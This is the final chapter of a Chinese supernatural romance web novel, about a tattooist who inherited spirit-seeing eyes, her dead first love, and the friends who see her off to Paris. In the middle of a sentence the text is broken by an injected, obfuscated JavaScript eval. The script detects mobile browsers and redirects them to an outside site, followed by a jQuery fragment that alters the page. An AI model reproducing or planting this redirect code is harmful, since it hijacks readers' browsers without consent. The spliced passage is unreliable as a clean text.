江敬寒没有看他,而是望着巷子尽头迷蒙的雨雾,侧脸在微弱的天光下显得有些严肃,甚至苍凉。 巷子里异常安静,只有淅淅沥沥的雨声,单调而持久,更衬得这份安静有种深入骨髓的孤寂,仿佛整个世界都退远了,只剩下这条湿漉漉的小巷,连时间都仿佛被这雨水拖慢了脚步,粘稠地流淌着。 赵许一被这寂静压得有些喘不过气,刚想开口说点什么打破僵局,却听见江敬寒低沉的声音响起,压过了他喉头尚未成型的音节。 “许一,”江敬寒缓缓开口,“你知道归澜的外公是做什么的吗?” 赵许一一怔:“听说是……文身师傅?挺有名的。” “不只是文身师傅。”江敬寒目光悠远,仿佛追溯着久远的记忆,“他那一手刺青的技艺,是家传的,远近闻名。但更不为人知的,是他有一双阴阳眼。” 这个词让赵许一屏住了呼吸。 “他能看见另一个世界的东西,亡魂、执念、游荡的灵……他认为这是天赋,也是责任。他开了那间文身店,表面上做寻常生意,暗地里,却用他独有的方式和那些东西打交道,帮助了一些人,也平息了一些事。”江敬寒的声音很平缓,却带着沉重的底色,“但他的妻子,也就是归澜的外婆,却因为卷入他处理的一桩棘手事里,意外丧生。后来,他自己也没能善终,五十岁那年,现场……很不寻常。官方结论是抢劫杀人,但有些痕迹,解释不通。” 四周一片寂静,只有淅沥的雨声。 “归澜的妈妈,是独女,也继承了那双眼睛。”江敬寒继续道,“但她从小目睹母亲的死因与父亲终日与阴物打交道的偏执与危险,她怕了,也恨极了这所谓的天赋。她用尽方法想摆脱,后来,从父亲留下的一些残缺古籍里,找到了一个法子——用混合了某些罕见矿物与植物汁液的颜料,刺入特定的穴位与脉络,形成一种封印般的文身,可以暂时盖住这双眼睛。” “她成功了,也彻底与父亲决裂,搬离老家,很少往来。后来她结婚,生下归澜……也许是遗传,也许是注定,归澜从小,就能看见那些东西。”江敬寒看向赵许一。 “一个孩子,整天生活在常人看不见的恐惧里,是什么滋味?她害怕,但也不敢说,她怕被当成怪物。那些东西有些只是茫然游荡,有些却带着强烈的情绪,甚至是恶意……她睡不好,总是惊醒,性格也越来越孤僻。她妈妈心疼,也自责,认为是自己没能彻底阻断这血脉里的东西。终于,她决定用那个方法,为归澜也文上封印。” 江敬寒停顿了一下:“那过程很痛苦,不仅仅是皮肉之苦。文身完成后的很长一段时间,归澜的身体都很虚弱,但她的确看不见了。” “在所有充满恐惧的日子里,白越一直陪在她身边。”提到白越,江敬寒的语气有了微妙的变化,染上一丝追忆与感伤。 江敬寒:“白越就住她家隔壁。是个很阳光的男孩,热爱音乐,玩赛车,看起来张扬不羁,其实心细又温柔。他几乎是闯进归澜生活的,带她听摇滚,教她认机车零件,在她因为过往阴影而显得过于安静时,想方设法逗她笑。所有人都看得出来,他喜欢她,喜欢得明目张胆。” “但有一件事,归澜不知道,白越也一直瞒着她。”江敬寒的声音压得更低,“白越他……其实也能看见。不是像归澜外公那种与生俱来的阴阳眼,而是一种更模糊、时有时无的感应,尤其是在情绪激烈或接近某些特殊地点时。他小时候遇到过一些解释不清的事,后来自己查了些乱七八糟的资料,懵懂懂懂知道了一点。认识归澜后,他很快察觉到了她的异常,以及她对那些东西深入骨髓的恐惧。” 赵许一的心慢慢沉下去,他仿佛能想象出那个画面:少年发现了女孩最深重的秘密,也看穿了她竭力掩饰的恐惧,于是选择将自己的异常也一同隐藏。 “他来找过我,”江敬寒说,他和白越是从小一起长大的交情,“他跟我说,他看得见一些不干净的东西,但他不怕。他担心的是归澜。他说,她好不容易才看不见了,才像个小姑娘一样笑起来,我绝不能让她知道我也能看见,再把她拉回那个可怕的世界里。他让我发誓保密。” “所以,他就一直瞒着。哪怕有时候,他明明察觉到了归澜身边有些不对劲,也只能装作无事,用别的方式引开她的注意力,或者私下里,用他自己那点粗浅的办法,偷偷处理掉一些弱的、纠缠不清的东西。”江敬寒苦笑一下,“很傻,是不是?但他觉得值得。” “直到他二十岁那年……”江敬寒的声音染上痛色,“那是个暴雨夜。归澜那晚不太对劲,心神不宁,总说感觉有东西跟着她,很冷。但其实她的封印很牢固,按理说感觉不会那么清晰。白越不放心,一直陪着她。后来,他接到一个朋友的紧急电话,说是赛车场那边出了点事,有人受伤,需要帮忙。他本想不去,但归澜那晚情绪特别脆弱,他想着快去快回,而且……他隐约觉得,归澜的不安,或许跟那个总在夜间非法赛车、事故频发的偏僻场地有关联。他以前在那里,就感觉到过一些不好的东西。” “他让我陪着归澜,自己开车去了。”江敬寒闭上眼,深吸了一口气,“后来才知道,电话是假的,是个针对他的拙劣陷阱,源于一些赛车圈子里的龃龉和嫉妒。但那天雨太大,路况极差,他又心急赶回来……在一个弯道,为了避让对向一辆失控冲过来的车,他撞上了隔离墩……后来,我在蛛丝马迹中发现,对向车失控的原因,或许和归澜说的,跟着她的东西有关。” 江敬寒说不下去了。赵许一仿佛能听见那夜狂暴的雨声,刺耳的刹车与撞击声,以及生命戛然而止的空白。 “他走的时候,”江敬寒再开口,声音沙哑,“我和归澜赶到医院,已经来不及了。归澜哭都哭不出来,就那么站着。后来,清理遗物时,我在他贴身带着的一个旧皮夹暗层里,发现了一张叠得很仔细的纸,上面是他歪歪扭扭、一笔一划写的东西,像从什么民间志怪书里抄下来的,关于如何简单驱散阴秽,如何用声音安抚游魂……” “那张纸条,他在身边带了十几年。他至死,都守着这个秘密。”江敬寒道,“白越死后,归澜洗去了纹身。” 江敬寒:“再后来,她接手了外公留下的那间文身店,找了米利安和邓佳欣回去帮忙,开始认真经营。她在等,希望有朝一日,能等到白越回来。” 长久的沉默笼罩着他们。雨似乎小了些,变成细密的丝线。河对岸的灯火倒映在水中,碎成一片摇晃的金黄。 赵许一胸腔里堵得厉害。 他先前的所有不甘和烦躁,此刻被一种更庞大、更酸楚的情绪淹没。 他明白了陈归澜身上那种挥之不去的疏离感从何而来,明白了她为何总是独行,为何对感情避之不及。她背负着家族的诅咒,失去过最明亮的爱情,那爱情甚至为了保护她而带着隐秘的真相一同埋葬。 巴黎不是浪漫之都的向往,而是一座沉重的纪念碑,一场迟到的赴约。 “还有一件事,我一直没有跟你说过。”江敬寒深吸一口气,看着赵许一,“当初,我介绍你去找陈归澜,有私心。” “什么?” “你和白越,很像。”江敬寒知道这话很残忍,但为了他们三个人都能敞开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979160|191805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心扉,他不得不坦白,“身形、五官、性格、爱好……很多地方,都很像。” 一切的始终似乎都有了解释。赵许一苦涩地笑:“所以,我是替代品?” 江敬寒没办法回答,赵许一又自顾自接着说了下去:“甚至,连当替代品的资格都没有,她从来没有把我当成替代品……” 江敬寒喉结滚动:“白越,对归澜的意义,你应该能明白。而他,死在二十岁那年,他们最相爱的那年……” “我懂……”赵许一明白。白越的存在,没有人能代替。 - 回到饭馆的时候,陈归澜和阮阳昭都喝了点酒,兴头正盛地聊着什么。 “以后什么打算?”陈归澜吞了两口酒,问。 阮阳昭摩挲着酒杯:“我……我想先回一趟沽珈山。” “沽珈山?”赵许一自然地坐回,追问。 “嗯,她是在沽珈山长大的。”阮阳昭顿了顿,“我想去看看,走走她走过的路,看看她看过的风景。然后……我回越州。我想留在这里,离她最后停留的地方近一点。也许……做点什么,开个小店,或者就闲着。试试看,她说的重新开始,我能不能做到。” 也算是个不错的决定。 “你呢?”阮阳昭反问,“去巴黎,然后呢?” “还不确定,先去巴黎,然后……慕尼黑,柏林,布列塔尼……总之,在找到存在和存在的意义之前,先上路。” 几个人沉默着喝酒,谁都没有对各自的决定发表任何评价。 - 第二天,天色微明,雨暂歇。 四人一同送阮阳昭去车站。 月台上,晨雾未散,带着清冽的寒意。 “保重。”阮阳昭对陈归澜说,眼神真诚,“谢谢你,归澜。” 陈归澜点点头:“你也保重。在越州,好好生活。” 阮阳昭又跟江敬寒、赵许一握了手,转身拎起简单的行李,走进了即将开往鼎州方向的列车车厢。他没有回头,背影挺直,仿佛卸下了千斤重担,又仿佛肩负起了新的、属于自己的重量。 列车缓缓驶离站台,消失在晨雾与远山的轮廓里。 剩下的三人站在空旷了些的月台上,一时无言。 “接下来,”江敬寒打破沉默,看向陈归澜,“明天下午的飞机去巴黎?” “嗯。” “我送你到机场。”江敬寒说,顿了顿,“店和房子你放心,我会照看好。佳欣和米利安都靠谱。你自己……在外面一切小心。” 陈归澜“嗯”了一声。 赵许一在一旁,双手插在外套口袋里,脚尖碾着地面一颗小石子。他忽然抬起头,像是下定了决心:“我跟你一起去巴黎。” 陈归澜和江敬寒同时看向他。 “你别误会,”赵许一赶紧说,语气有点急,“我不是要纠缠你,也不是……我就是觉得……” 一着急,他就语无伦次起来。他吸了口气:“我知道你心里装着事,装着人,可能永远也腾不出地方给别的。我也没指望能替代谁。但巴黎……反正我也没去过,就当去旅游,长长见识。你放心,我绝对不打扰你办正事,我们互不干涉,就当……多个跑腿的,翻译?我法语还行!” 他说得有点乱,但那份想要跟随的心意,却明明白白。 陈归澜静静地看着他,看了好一会儿。赵许一被她看得有些发毛,心里七上八下。 “随你。”最终,她只吐出这两个字,然后转身向站外走去。 赵许一愣了一下,随即巨大的喜悦涌上来,他用力握了一下拳,对着江敬寒咧嘴一笑,赶紧追了上去。 “哎,等等我!你机票哪个航班?我赶紧买同一班的!酒店订了没?要不要我推荐?我知道几家不错的……” (全文完)